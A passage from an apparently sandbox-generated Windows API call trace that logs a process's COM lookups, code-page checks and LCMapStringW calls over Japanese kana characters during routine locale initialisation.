returned 0x7fefe810000 [0018.003] GetProcAddress (hModule=0x7fefe810000, lpProcName="CoCreateInstanceEx") returned 0x7fefe81de90 [0018.003] GetProcAddress (hModule=0x7fefe810000, lpProcName="CLSIDFromProgIDEx") returned 0x7fefe82a4c4 [0018.003] GetSystemMetrics (nIndex=42) returned 0 [0018.004] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fef10855d0 | out: ppMalloc=0x7fef10855d0*=0x7fefe9e5380) returned 0x0 [0018.004] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x78e8470 [0018.004] GetUserDefaultLCID () returned 0x409 [0018.004] GetUserDefaultLCID () returned 0x409 [0018.004] IsValidCodePage (CodePage=0x3a4) returned 1 [0018.006] IsValidCodePage (CodePage=0x3b5) returned 1 [0018.007] IsValidCodePage (CodePage=0x3b6) returned 1 [0018.008] IsValidCodePage (CodePage=0x3a8) returned 1 [0018.008] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="぀", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.008] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぁ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.008] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="あ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.008] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぃ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.008] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="い", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.009] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.009] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="う", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.009] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぇ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.009] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="え", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.009] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぉ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.009] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="お", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.009] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="か", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.009] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="が", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="き", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぎ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="く", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぐ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="け", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="げ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="こ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ご", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="さ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ざ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="し", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="じ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="す", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ず", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="せ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.010] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="そ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぞ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="た", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="だ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ち", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぢ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="っ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="つ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="づ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="て", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="で", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="と", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ど", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="な", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="に", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぬ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ね", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="の", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="は", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ば", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぱ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ひ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="び", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ふ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぶ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぷ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="へ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="べ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぺ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ほ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぼ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぽ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ま", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="み", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="む", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="め", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="も", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゃ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="や", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゆ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ょ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="よ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ら", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="り", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="る", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.011] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="れ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ろ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゎ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="わ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゐ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゑ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="を", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ん", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゔ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゕ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゖ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゗", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゘", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゙", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゚", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゛", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゜", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゝ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゞ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゟ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゠", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ァ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ア", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ィ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="イ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゥ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ウ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ェ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="エ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ォ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="オ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="カ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ガ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="キ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ギ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ク", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="グ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ケ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゲ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="コ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="サ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ザ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.012] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="シ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ジ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ス", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ズ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="セ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゼ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ソ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゾ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="タ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ダ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="チ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヂ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ッ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ツ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="テ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="デ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ト", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ド", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ナ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ニ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヌ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ネ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ノ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ハ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="バ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="パ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヒ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ビ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ピ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="フ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ブ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="プ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヘ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ベ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ペ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, 